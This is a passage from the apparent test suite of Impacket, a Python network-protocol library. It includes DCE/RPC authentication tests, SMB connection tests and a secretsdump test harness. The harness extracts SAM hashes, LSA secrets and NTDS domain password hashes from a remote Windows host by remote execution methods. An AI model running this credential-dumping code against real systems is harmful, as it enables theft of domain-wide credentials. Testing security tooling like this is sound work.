samr.MSRPC_UUID_SAMR, protocol = 'ncacn_ip_tcp')\n        print(self.stringBinding)\n        dce = self.connectDCE(self.username, '', self.domain, self.lmhash, self.nthash, dceFragment=0,\n                              auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY, auth_type=RPC_C_AUTHN_GSS_NEGOTIATE,\n                              dceAuth=True,\n                              doKerberos=True, bind=samr.MSRPC_UUID_SAMR)\n        self.stringBinding = oldBinding\n\n        request = samr.SamrConnect()\n        request['ServerName'] = b'BETO\\x00'\n        request['DesiredAccess'] = samr.DELETE | samr.READ_CONTROL | samr.WRITE_DAC | samr.WRITE_OWNER | samr.ACCESS_SYSTEM_SECURITY | samr.GENERIC_READ | samr.GENERIC_WRITE | samr.GENERIC_EXECUTE | samr.SAM_SERVER_CONNECT | samr.SAM_SERVER_SHUTDOWN | samr.SAM_SERVER_INITIALIZE | samr.SAM_SERVER_CREATE_DOMAIN | samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN | samr.SAM_SERVER_READ | samr.SAM_SERVER_WRITE | samr.SAM_SERVER_EXECUTE\n        resp = dce.request(request)\n        request = samr.SamrEnumerateDomainsInSamServer()\n        request['ServerHandle'] = resp['ServerHandle']\n        request['EnumerationContext'] = 0\n        request['PreferedMaximumLength'] = 500\n        dce.request(request)\n        try:\n            request = samr.SamrLookupDomainInSamServer()\n            request['ServerHandle'] = resp['ServerHandle']\n            request['Name'] = 'A'*4500\n            dce.request(request)\n        except Exception as e:\n            if str(e).find('STATUS_NO_SUCH_DOMAIN') < 0:\n                raise\n        dce.disconnect()\n\n    def test_dceFragmentationWINNTPacketIntegrity(self):\n        dce = self.connectDCE(self.username, '', self.domain, self.lmhash, self.nthash, dceFragment=1,\n                              auth_level=RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, dceAuth=True, doKerberos=False)\n        request = epm.ept_lookup()\n        request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS\n        request['object'] = NULL\n        request['Ifid'] = NULL\n        request['vers_option'] = epm.RPC_C_VERS_ALL\n        request['max_ents'] = 499\n        dce.request(request)\n        dce.disconnect()\n\n    def test_dceFragmentationWINNTPacketPrivacy(self):\n        dce = self.connectDCE(self.username, '', self.domain, self.lmhash, self.nthash, dceFragment=1,\n                              auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY, dceAuth=True, doKerberos=False)\n        request = epm.ept_lookup()\n        request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS\n        request['object'] = NULL\n        request['Ifid'] = NULL\n        request['vers_option'] = epm.RPC_C_VERS_ALL\n        request['max_ents'] = 499\n        dce.request(request)\n        dce.disconnect()\n\n    def test_dceFragmentationKerberosPacketIntegrity(self):\n        dce = self.connectDCE(self.username, '', self.domain, self.lmhash, self.nthash, dceFragment=1,\n                              auth_type=RPC_C_AUTHN_GSS_NEGOTIATE,\n                              auth_level=RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, dceAuth=True, doKerberos=True)\n        request = epm.ept_lookup()\n        request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS\n        request['object'] = NULL\n        request['Ifid'] = NULL\n        request['vers_option'] = epm.RPC_C_VERS_ALL\n        request['max_ents'] = 499\n        dce.request(request)\n        dce.disconnect()\n\n    def test_dceFragmentationKerberosPacketPrivacy(self):\n        dce = self.connectDCE(self.username, '', self.domain, self.lmhash, self.nthash, dceFragment=1,\n                              auth_type=RPC_C_AUTHN_GSS_NEGOTIATE,\n                              auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY, dceAuth=True, doKerberos=True)\n        request = epm.ept_lookup()\n        request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS\n        request['object'] = NULL\n        request['Ifid'] = NULL\n        request['vers_option'] = epm.RPC_C_VERS_ALL\n        request['max_ents'] = 499\n        dce.request(request)\n        dce.disconnect()\n\n    def test_WINNTPacketIntegrity(self):\n        dce = self.connectDCE(self.username, self.password, self.domain, auth_level=RPC_C_AUTHN_LEVEL_PKT_INTEGRITY,\n                              dceAuth=True, doKerberos=False)\n        request = epm.ept_lookup()\n        request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS\n        request['object'] = NULL\n        request['Ifid'] = NULL\n        request['vers_option'] = epm.RPC_C_VERS_ALL\n        request['max_ents'] = 499\n        dce.request(request)\n        dce.disconnect()\n\n    def test_KerberosPacketIntegrity(self):\n        dce = self.connectDCE(self.username, self.password, self.domain, auth_type=RPC_C_AUTHN_GSS_NEGOTIATE,\n                              auth_level=RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, dceAuth=True, doKerberos=True)\n        request = epm.ept_lookup()\n        request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS\n        request['object'] = NULL\n        request['Ifid'] = NULL\n        request['vers_option'] = epm.RPC_C_VERS_ALL\n        request['max_ents'] = 499\n        dce.request(request)\n        resp = dce.request(request)\n        resp.dump()\n        dce.disconnect()\n\n    def test_HashesWINNTPacketIntegrity(self):\n        dce = self.connectDCE(self.username, '', self.domain, self.lmhash, self.nthash,\n                              auth_level=RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, dceAuth=True, doKerberos=False)\n        request = epm.ept_lookup()\n        request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS\n        request['object'] = NULL\n        request['Ifid'] = NULL\n        request['vers_option'] = epm.RPC_C_VERS_ALL\n        request['max_ents'] = 499\n        dce.request(request)\n        dce.disconnect()\n\n    def test_HashesKerberosPacketIntegrity(self):\n        dce = self.connectDCE(self.username, '', self.domain, self.lmhash, self.nthash, auth_type=RPC_C_AUTHN_GSS_NEGOTIATE,\n                              auth_level=RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, dceAuth=True, doKerberos=True)\n        request = epm.ept_lookup()\n        request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS\n        request['object'] = NULL\n        request['Ifid'] = NULL\n        request['vers_option'] = epm.RPC_C_VERS_ALL\n        request['max_ents'] = 499\n        dce.request(request)\n        resp = dce.request(request)\n        resp.dump()\n        dce.disconnect()\n\n    def test_Aes128KerberosPacketIntegrity(self):\n        dce = self.connectDCE(self.username, '', self.domain, '', '', self.aes_key_128,\n                              auth_type=RPC_C_AUTHN_GSS_NEGOTIATE, auth_level=RPC_C_AUTHN_LEVEL_PKT_INTEGRITY,\n                              dceAuth=True, doKerberos=True)\n        request = epm.ept_lookup()\n        request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS\n        request['object'] = NULL\n        request['Ifid'] = NULL\n        request['vers_option'] = epm.RPC_C_VERS_ALL\n        request['max_ents'] = 499\n        dce.request(request)\n        resp = dce.request(request)\n        resp.dump()\n        dce.disconnect()\n\n    def test_Aes256KerberosPacketIntegrity(self):\n        dce = self.connectDCE(self.username, '', self.domain, '', '', self.aes_key_256,\n                              auth_type=RPC_C_AUTHN_GSS_NEGOTIATE, auth_level=RPC_C_AUTHN_LEVEL_PKT_INTEGRITY,\n                              dceAuth=True, doKerberos=True)\n        request = epm.ept_lookup()\n        request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS\n        request['object'] = NULL\n        request['Ifid'] = NULL\n        request['vers_option'] = epm.RPC_C_VERS_ALL\n        request['max_ents'] = 499\n        dce.request(request)\n        resp = dce.request(request)\n        resp.dump()\n        dce.disconnect()\n\n    def test_packetAnonWINNTPacketIntegrity(self):\n        # With SMB Transport this will fail with STATUS_ACCESS_DENIED\n        try:\n            dce = self.connectDCE('', '', '', auth_level=RPC_C_AUTHN_LEVEL_PKT_INTEGRITY,dceAuth=False, doKerberos=False)\n            request = epm.ept_lookup()\n            request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS\n            request['object'] = NULL\n            request['Ifid'] = NULL\n            request['vers_option'] = epm.RPC_C_VERS_ALL\n            request['max_ents'] = 499\n            dce.request(request)\n            dce.disconnect()\n        except Exception as e:\n            if not (str(e).find('STATUS_ACCESS_DENIED') >=0 and self.stringBinding.find('ncacn_np') >=0):\n                raise\n\n    def test_WINNTPacketPrivacy(self):\n        dce = self.connectDCE(self.username, self.password, self.domain, auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY,\n                              dceAuth=True, doKerberos=False)\n        request = epm.ept_lookup()\n        request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS\n        request['object'] = NULL\n        request['Ifid'] = NULL\n        request['vers_option'] = epm.RPC_C_VERS_ALL\n        request['max_ents'] = 499\n        dce.request(request)\n        dce.request(request)\n        dce.disconnect()\n\n    def test_KerberosPacketPrivacy(self):\n        dce = self.connectDCE(self.username, self.password, self.domain, auth_type=RPC_C_AUTHN_GSS_NEGOTIATE,\n                              auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY, dceAuth=True, doKerberos=True)\n        request = epm.ept_lookup()\n        request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS\n        request['object'] = NULL\n        request['Ifid'] = NULL\n        request['vers_option'] = epm.RPC_C_VERS_ALL\n        request['max_ents'] = 499\n        dce.request(request)\n        resp = dce.request(request)\n        resp.dump()\n        dce.disconnect()\n\n    def test_HashesWINNTPacketPrivacy(self):\n        dce = self.connectDCE(self.username, '', self.domain, self.lmhash, self.nthash, auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY,\n                              dceAuth=True, doKerberos=False)\n        request = epm.ept_lookup()\n        request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS\n        request['object'] = NULL\n        request['Ifid'] = NULL\n        request['vers_option'] = epm.RPC_C_VERS_ALL\n        request['max_ents'] = 499\n        dce.request(request)\n        dce.disconnect()\n\n    def test_HashesKerberosPacketPrivacy(self):\n        dce = self.connectDCE(self.username, '', self.domain, self.lmhash, self.nthash, auth_type=RPC_C_AUTHN_GSS_NEGOTIATE,\n                              auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY, dceAuth=True, doKerberos=True)\n        request = epm.ept_lookup()\n        request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS\n        request['object'] = NULL\n        request['Ifid'] = NULL\n        request['vers_option'] = epm.RPC_C_VERS_ALL\n        request['max_ents'] = 499\n        dce.request(request)\n        resp = dce.request(request)\n        resp.dump()\n        dce.disconnect()\n\n    def test_Aes128KerberosPacketPrivacy(self):\n        dce = self.connectDCE(self.username, '', self.domain, '', '', self.aes_key_128,\n                              auth_type=RPC_C_AUTHN_GSS_NEGOTIATE, auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY,\n                              dceAuth=True, doKerberos=True)\n        request = epm.ept_lookup()\n        request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS\n        request['object'] = NULL\n        request['Ifid'] = NULL\n        request['vers_option'] = epm.RPC_C_VERS_ALL\n        request['max_ents'] = 499\n        dce.request(request)\n        resp = dce.request(request)\n        resp.dump()\n        dce.disconnect()\n\n    def test_Aes256KerberosPacketPrivacy(self):\n        dce = self.connectDCE(self.username, '', self.domain, '', '', self.aes_key_256,\n                              auth_type=RPC_C_AUTHN_GSS_NEGOTIATE, auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY,\n                              dceAuth=True, doKerberos=True)\n        request = epm.ept_lookup()\n        request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS\n        request['object'] = NULL\n        request['Ifid'] = NULL\n        request['vers_option'] = epm.RPC_C_VERS_ALL\n        request['max_ents'] = 499\n        dce.request(request)\n        resp = dce.request(request)\n        resp.dump()\n        dce.disconnect()\n\n    def test_AnonWINNTPacketPrivacy(self):\n        # With SMB Transport this will fail with STATUS_ACCESS_DENIED\n        try:\n            dce = self.connectDCE('', '', '', auth_level=RPC_C_AUTHN_LEVEL_PKT_PRIVACY, dceAuth=False, doKerberos=False)\n            request = epm.ept_lookup()\n            request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS\n            request['object'] = NULL\n            request['Ifid'] = NULL\n            request['vers_option'] = epm.RPC_C_VERS_ALL\n            request['max_ents'] = 499\n            dce.request(request)\n            dce.disconnect()\n        except Exception as e:\n            if not (str(e).find('STATUS_ACCESS_DENIED') >= 0 and self.stringBinding.find('ncacn_np') >= 0):\n                raise\n\n\n@pytest.mark.remote\nclass RPCRTTestsTCPTransport(RPCRTTests, unittest.TestCase):\n\n    def setUp(self):\n        super(RPCRTTestsTCPTransport, self).setUp()\n        self.set_transport_config(aes_keys=True)\n        self.stringBinding = r'ncacn_ip_tcp:%s' % self.machine\n\n\n@pytest.mark.remote\nclass RPCRTTestsSMBTransport(RPCRTTests, unittest.TestCase):\n    def setUp(self):\n        # Put specific configuration for target machine with SMB_002\n        super(RPCRTTestsSMBTransport, self).setUp()\n        self.set_transport_config(aes_keys=True)\n        self.stringBinding = r'ncacn_np:%s[\\pipe\\epmapper]' % self.machine\n\n\nif __name__ == \"__main__\":\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/SMB_RPC/test_secretsdump.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nimport os\nimport logging\nimport pytest\nimport unittest\nfrom tests import RemoteTestCase\n\nfrom impacket.examples.secretsdump import LocalOperations, RemoteOperations, SAMHashes, LSASecrets, NTDSHashes\nfrom impacket.smbconnection import SMBConnection\n\n\ndef _print_helper(*args, **kwargs):\n    try:\n        print(args[-1])\n    except UnicodeError:\n        pass\n\n\nclass DumpSecrets:\n\n    def __init__(self, remoteName, username='', password='', domain='', options=None):\n        self.__useVSSMethod = options.use_vss\n        self.__remoteName = remoteName\n        self.__remoteHost = options.target_ip\n        self.__username = username\n        self.__password = password\n        self.__domain = domain\n        self.__lmhash = ''\n        self.__nthash = ''\n        self.__aes_key_128 = options.aes_key_128\n        self.__smbConnection = None\n        self.__remoteOps = None\n        self.__SAMHashes = None\n        self.__NTDSHashes = None\n        self.__LSASecrets = None\n        self.__systemHive = options.system\n        self.__bootkey = options.bootkey\n        self.__securityHive = options.security\n        self.__samHive = options.sam\n        self.__ntdsFile = options.ntds\n        self.__history = options.history\n        self.__noLMHash = True\n        self.__isRemote = True\n        self.__outputFileName = options.outputfile\n        self.__doKerberos = options.k\n        self.__justDC = options.just_dc\n        self.__justDCNTLM = options.just_dc_ntlm\n        self.__justUser = options.just_dc_user\n        self.__pwdLastSet = options.pwd_last_set\n        self.__printUserStatus= options.user_status\n        self.__resumeFileName = options.resumefile\n        self.__canProcessSAMLSA = True\n        self.__kdcHost = options.dc_ip\n        self.__options = options\n\n        if options.hashes is not None:\n            self.__lmhash, self.__nthash = options.hashes.split(':')\n\n    def connect(self):\n        self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost)\n        if self.__doKerberos:\n            self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,\n                                               self.__nthash, self.__aes_key_128, self.__kdcHost)\n        else:\n            self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)\n\n    def dump(self):\n        try:\n            if self.__remoteName.upper() == 'LOCAL' and self.__username == '':\n                self.__isRemote = False\n                self.__useVSSMethod = True\n                if self.__systemHive:\n                    localOperations = LocalOperations(self.__systemHive)\n                    bootKey = localOperations.getBootKey()\n                    if self.__ntdsFile is not None:\n                    # Let's grab target's configuration about LM Hashes storage\n                        self.__noLMHash = localOperations.checkNoLMHashPolicy()\n                else:\n                    import binascii\n                    bootKey = binascii.unhexlify(self.__bootkey)\n\n            else:\n                self.__isRemote = True\n                bootKey = None\n                try:\n                    try:\n                        self.connect()\n                    except Exception as e:\n                        if os.getenv('KRB5CCNAME') is not None and self.__doKerberos is True:\n                            # SMBConnection failed. That might be because there was no way to log into the\n                            # target system. We just have a last resort. Hope we have tickets cached and that they\n                            # will work\n                            logging.debug('SMBConnection didn\\'t work, hoping Kerberos will help (%s)' % str(e))\n                            pass\n                        else:\n                            raise\n\n                    self.__remoteOps  = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost)\n                    self.__remoteOps.setExecMethod(self.__options.exec_method)\n                    if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True:\n                        self.__remoteOps.enableRegistry()\n                        bootKey             = self.__remoteOps.getBootKey()\n                        # Let's check whether target system stores LM Hashes\n                        self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy()\n                except Exception as e:\n                    self.__canProcessSAMLSA = False\n                    if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \\\n                        and self.__doKerberos is True:\n                        # Giving some hints here when SPN target name validation is set to something different to Off\n                        # This will prevent establishing SMB connections using TGS for SPNs different to cifs/\n                        logging.error('Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user')\n                    else:\n                        logging.error('RemoteOperations failed: %s' % str(e))\n\n            # If RemoteOperations succeeded, then we can extract SAM and LSA\n            if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA:\n                try:\n                    if self.__isRemote is True:\n                        SAMFileName         = self.__remoteOps.saveSAM()\n                    else:\n                        SAMFileName         = self.__samHive\n\n                    self.__SAMHashes    = SAMHashes(SAMFileName, bootKey, isRemote = self.__isRemote)\n                    self.__SAMHashes.dump()\n                    if self.__outputFileName is not None:\n                        self.__SAMHashes.export(self.__outputFileName)\n                except Exception as e:\n                    logging.error('SAM hashes extraction failed: %s' % str(e))\n\n                try:\n                    if self.__isRemote is True:\n                        SECURITYFileName = self.__remoteOps.saveSECURITY()\n                    else:\n                        SECURITYFileName = self.__securityHive\n\n                    self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps,\n                                                   isRemote=self.__isRemote, history=self.__history)\n                    self.__LSASecrets.dumpCachedHashes()\n                    if self.__outputFileName is not None:\n                        self.__LSASecrets.exportCached(self.__outputFileName)\n                    self.__LSASecrets.dumpSecrets()\n                    if self.__outputFileName is not None:\n                        self.__LSASecrets.exportSecrets(self.__outputFileName)\n                except Exception as e:\n                    if logging.getLogger().level == logging.DEBUG:\n                        import traceback\n                        traceback.print_exc()\n                    logging.error('LSA hashes extraction failed: %s' % str(e))\n\n            # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work\n            if self.__isRemote is True:\n                if self.__useVSSMethod and self.__remoteOps is not None:\n                    NTDSFileName = self.__remoteOps.saveNTDS()\n                else:\n                    NTDSFileName = None\n            else:\n                NTDSFileName = self.__ntdsFile\n\n            self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history,\n                                           noLMHash=self.__noLMHash, remoteOps=self.__remoteOps,\n                                           useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM,\n                                           pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName,\n                                           outputFileName=self.__outputFileName, justUser=self.__justUser,\n                                           printUserStatus= self.__printUserStatus)\n            try:\n                self.__NTDSHashes.dump()\n            except Exception as e:\n                if logging.getLogger().level == logging.DEBUG:\n                    import traceback\n                    traceback.print_exc()\n                if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:\n                    # We don't store the resume file if this error happened, since this error is related to lack\n                    # of enough privileges to access DRSUAPI.\n                    resumeFile = self.__NTDSHashes.getResumeSessionFile()\n                    if resumeFile is not None:\n                        os.unlink(resumeFile)\n                logging.error(e)\n                if self.__justUser and str(e).find(\"ERROR_DS_NAME_ERROR_NOT_UNIQUE\") >=0:\n                    logging.info(\"You just got that error because there might be some duplicates of the same name. \"\n                                 \"Try specifying the domain name for the user as well. It is important to specify it \"\n                                 \"in the form of NetBIOS domain name/user (e.g. contoso/Administratror).\")\n                elif self.__useVSSMethod is False:\n                    logging.info('Something wen\\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')\n            self.cleanup()\n        except (Exception, KeyboardInterrupt) as e:\n            if logging.getLogger().level == logging.DEBUG:\n                import traceback\n                traceback.print_exc()\n            logging.error(e)\n            if self.__NTDSHashes is not None:\n                if isinstance(e, KeyboardInterrupt):\n                    while True:\n                        answer =  input(\"Delete resume session file? [y/N] \")\n                        if answer.upper() == '':\n                            answer = 'N'\n                            break\n                        elif answer.upper() == 'Y':\n                            answer = 'Y'\n                            break\n                        elif answer.upper() == 'N':\n                            answer = 'N'\n                            break\n                    if answer == 'Y':\n                        resumeFile = self.__NTDSHashes.getResumeSessionFile()\n                        if resumeFile is not None:\n                            os.unlink(resumeFile)\n            try:\n                self.cleanup()\n            except Exception:\n                pass\n\n    def cleanup(self):\n        try:\n            logging.info('Cleaning up... ')\n            if self.__remoteOps:\n                self.__remoteOps.finish()\n            if self.__SAMHashes:\n                self.__SAMHashes.finish()\n            if self.__LSASecrets:\n                self.__LSASecrets.finish()\n            if self.__NTDSHashes:\n                self.__NTDSHashes.finish()\n        except Exception as e:\n            if str(e).find('ERROR_DEPENDENT_SERVICES_RUNNING') < 0:\n                raise\n\nclass Options(object):\n    aes_key_128 = None\n    bootkey=None\n    dc_ip=None\n    debug=False\n    exec_method='smbexec'\n    hashes=None\n    history=False\n    just_dc=False\n    just_dc_ntlm=False\n    just_dc_user=None\n    k=False\n    no_pass=False\n    ntds=None\n    outputfile=None\n    pwd_last_set=False\n    resumefile=None\n    sam=None\n    security=None\n    system=None\n    target=''\n    target_ip=''\n    use_vss=False\n    user_status=False\n\n\nclass SecretsDumpTests(RemoteTestCase):\n\n    def test_VSS_History(self):\n        options = Options()\n        options.target_ip = self.machine\n        options.use_vss = True\n        options.history = True\n        dumper = DumpSecrets(self.serverName, self.username, self.password, self.domain, options)\n        dumper.dump()\n\n    def aaaa_VSS_WMI(self):\n        options = Options()\n        options.target_ip = self.machine\n        options.use_vss = True\n        options.exec_method='wmiexec'\n        dumper = DumpSecrets(self.serverName, self.username, self.password, self.domain, options)\n        dumper.dump()\n\n    def test_DRSUAPI_DC_USER(self):\n        options = Options()\n        options.target_ip = self.machine\n        options.use_vss = False\n        options.just_dc = True\n        options.just_dc_user = '%s/%s' % (self.domain.split('.')[0], 'Administrator')\n        dumper = DumpSecrets(self.serverName, self.username, self.password, self.domain, options)\n        dumper.dump()\n\n    def aaaa_VSS_MMC(self):\n        options = Options()\n        options.target_ip = self.machine\n        options.use_vss = True\n        options.exec_method='mmcexec'\n        dumper = DumpSecrets(self.serverName, self.username, self.password, self.domain, options)\n        dumper.dump()\n\n    def test_DRSUAPI(self):\n        options = Options()\n        options.target_ip = self.machine\n        options.use_vss = False\n        dumper = DumpSecrets(self.serverName, self.username, self.password, self.domain, options)\n        dumper.dump()\n\n\n@pytest.mark.remote\nclass Tests(SecretsDumpTests, unittest.TestCase):\n\n    def setUp(self):\n        super(Tests, self).setUp()\n        self.set_transport_config(aes_keys=True)\n\n\nif __name__ == \"__main__\":\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/SMB_RPC/test_smb.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nimport os\nimport errno\nimport socket\nimport select\n\nimport pytest\nimport unittest\nfrom tests import RemoteTestCase\n\nfrom impacket.smbconnection import SMBConnection, smb\nfrom impacket.smb3structs import SMB2_DIALECT_002,SMB2_DIALECT_21, SMB2_DIALECT_30\nfrom impacket import nt_errors, nmb\n\n# IMPORTANT NOTE:\n# For some reason, under Windows 8, you cannot switch between\n# dialects 002, 2_1 and 3_0 (it will throw STATUS_USER_SESSION_DELETED),\n# but you can with SMB1.\n# So, you can't run all test cases against the same machine.\n# Usually running all the tests against a Windows 7 except SMB3\n# would do the trick.\n# ToDo:\n#   [ ] Add the rest of SMBConnection public methods\n\n\nclass SMBTests(RemoteTestCase):\n\n    dialects = None\n\n    def create_connection(self):\n        if self.dialects == smb.SMB_DIALECT:\n            # Only for SMB1 let's do manualNego\n            s = SMBConnection(self.serverName, self.machine, preferredDialect=self.dialects, sess_port=self.sessPort, manualNegotiate=True)\n            s.negotiateSession(self.dialects, flags2=self.flags2)\n        else:\n            s = SMBConnection(self.serverName, self.machine, preferredDialect=self.dialects, sess_port=self.sessPort)\n        return s\n\n    def test_aliasconnection(self):\n        smb = SMBConnection('*SMBSERVER', self.machine, preferredDialect=self.dialects, sess_port=self.sessPort)\n        smb.login(self.username, self.password, self.domain)\n        smb.listPath(self.share, '*')\n        smb.logoff()\n\n    def test_reconnect(self):\n        smb = self.create_connection()\n        smb.login(self.username, self.password, self.domain)\n        smb.listPath(self.share, '*')\n        smb.logoff()\n        smb.reconnect()\n        smb.listPath(self.share, '*')\n        smb.logoff()\n\n    def test_reconnectKerberosHashes(self):\n        smb = self.create_connection()\n        smb.kerberosLogin(self.username, '', self.domain, self.lmhash, self.nthash, '')\n        credentials = smb.getCredentials()\n        self.assertEqual(credentials, (self.username, '', self.domain, self.blmhash, self.bnthash, '', None, None))\n        UNC = '\\\\\\\\%s\\\\%s' % (self.machine, self.share)\n        smb.connectTree(UNC)\n        smb.logoff()\n        smb.reconnect()\n        credentials = smb.getCredentials()\n        self.assertEqual(credentials, (self.username, '', self.domain, self.blmhash, self.bnthash, '', None, None))\n        UNC = '\\\\\\\\%s\\\\%s' % (self.machine, self.share)\n        smb.connectTree(UNC)\n        smb.logoff()\n\n    def test_connectTree(self):\n        smb = self.create_connection()\n        smb.login(self.username, self.password, self.domain)\n        smb.connectTree(self.share)\n        UNC = '\\\\\\\\%s\\\\%s' % (self.machine, self.share)\n        smb.connectTree(UNC)\n\n    def test_connection(self):\n        smb = self.create_connection()\n        smb.login(self.username, self.password, self.domain)\n        credentials = smb.getCredentials()\n        self.assertEqual(credentials, (self.username, self.password, self.domain, '', '', '', None, None))\n        smb.logoff()\n        del(smb)\n\n    def test_close_connection(self):\n        smb = self.create_connection()\n        smb.login(self.username, self.password, self.domain)\n        smb_connection_socket = smb.getSMBServer().get_socket()\n        self.assertTrue(self.__is_socket_opened(smb_connection_socket))\n        smb.close()\n        self.assertFalse(self.__is_socket_opened(smb_connection_socket))\n        del(smb)\n\n    def test_manualNego(self):\n        smb = self.create_connection()\n        smb.negotiateSession(self.dialects)\n        smb.login(self.username, self.password, self.domain)\n        credentials = smb.getCredentials()\n        self.assertEqual(credentials, (self.username, self.password, self.domain, '', '', '', None, None))\n        smb.logoff()\n        del(smb)\n\n    def test_loginHashes(self):\n        smb = self.create_connection()\n        smb.login(self.username, '', self.domain, self.lmhash, self.nthash)\n        credentials = smb.getCredentials()\n        self.assertEqual(credentials, (self.username, '', self.domain, self.blmhash, self.bnthash, '', None, None))\n        smb.logoff()\n\n    def test_loginKerberosHashes(self):\n        smb = self.create_connection()\n        smb.kerberosLogin(self.username, '', self.domain, self.lmhash, self.nthash, '')\n        credentials = smb.getCredentials()\n        self.assertEqual(credentials, (self.username, '', self.domain, self.blmhash, self.bnthash, '', None, None))\n        UNC = '\\\\\\\\%s\\\\%s' % (self.machine, self.share)\n        smb.connectTree(UNC)\n        smb.logoff()\n\n    def test_loginKerberos(self):\n        smb = self.create_connection()\n        smb.kerberosLogin(self.username, self.password, self.domain, '', '', '')\n        credentials = smb.getCredentials()\n        self.assertEqual(credentials, (self.username, self.password, self.domain, '', '', '', None, None))\n        UNC = '\\\\\\\\%s\\\\%s' % (self.machine, self.share)\n        smb.connectTree(UNC)\n        smb.logoff()\n\n    def test_loginKerberosAES(self):\n        smb = self.create_connection()\n        smb.kerberosLogin(self.username, '', self.domain, '', '', self.aes_key_128)\n        credentials = smb.getCredentials()\n        self.assertEqual(credentials, (self.username, '', self.domain, '', '', self.aes_key_128, None, None))\n        UNC = '\\\\\\\\%s\\\\%s' % (self.machine, self.share)\n        smb.connectTree(UNC)\n        smb.logoff()\n\n    def test_listPath(self):\n        smb = self.create_connection()\n        smb.login(self.username, self.password, self.domain)\n        smb.listPath(self.share, '*')\n        smb.logoff()\n\n    def test_createFile(self):\n        smb = self.create_connection()\n        smb.login(self.username, self.password, self.domain)\n        tid = smb.connectTree(self.share)\n        fid = smb.createFile(tid, self.file)\n        smb.closeFile(tid,fid)\n        smb.rename(self.share, self.file, self.file + '.bak')\n        smb.deleteFile(self.share, self.file + '.bak')\n        smb.disconnectTree(tid)\n        smb.logoff()\n\n    def test_readwriteFile(self):\n        smb = self.create_connection()\n        smb.login(self.username, self.password, self.domain)\n        tid = smb.connectTree(self.share)\n        fid = smb.createFile(tid, self.file)\n        smb.writeFile(tid, fid, \"A\"*65535)\n        data = b''\n        offset = 0\n        remaining = 65535\n        while remaining>0:\n            data += smb.readFile(tid,fid, offset, remaining)\n            remaining = 65535 - len(data)\n        self.assertEqual(len(data), 65535)\n        self.assertEqual(data, b\"A\" * 65535)\n        smb.closeFile(tid, fid)\n        fid = smb.openFile(tid, self.file)\n        smb.closeFile(tid, fid)\n        smb.deleteFile(self.share, self.file)\n        smb.disconnectTree(tid)\n        smb.logoff()\n\n    def test_createdeleteDirectory(self):\n        smb = self.create_connection()\n        smb.login(self.username, self.password, self.domain)\n        smb.createDirectory(self.share, self.directory)\n        smb.deleteDirectory(self.share, self.directory)\n        smb.createDirectory(self.share, self.directory)\n        nested_dir = \"%s\\\\%s\" %(self.directory, self.directory)\n        smb.createDirectory(self.share, nested_dir)\n        try:\n            smb.deleteDirectory(self.share, self.directory)\n        except Exception as e:\n            if e.error == nt_errors.STATUS_DIRECTORY_NOT_EMPTY:\n                smb.deleteDirectory(self.share, nested_dir)\n                smb.deleteDirectory(self.share, self.directory)\n        smb.logoff()\n\n    def test_getData(self):\n        smb = self.create_connection()\n        smb.login(self.username, self.password, self.domain)\n        smb.getDialect()\n        smb.getServerName()\n        smb.getRemoteHost()\n   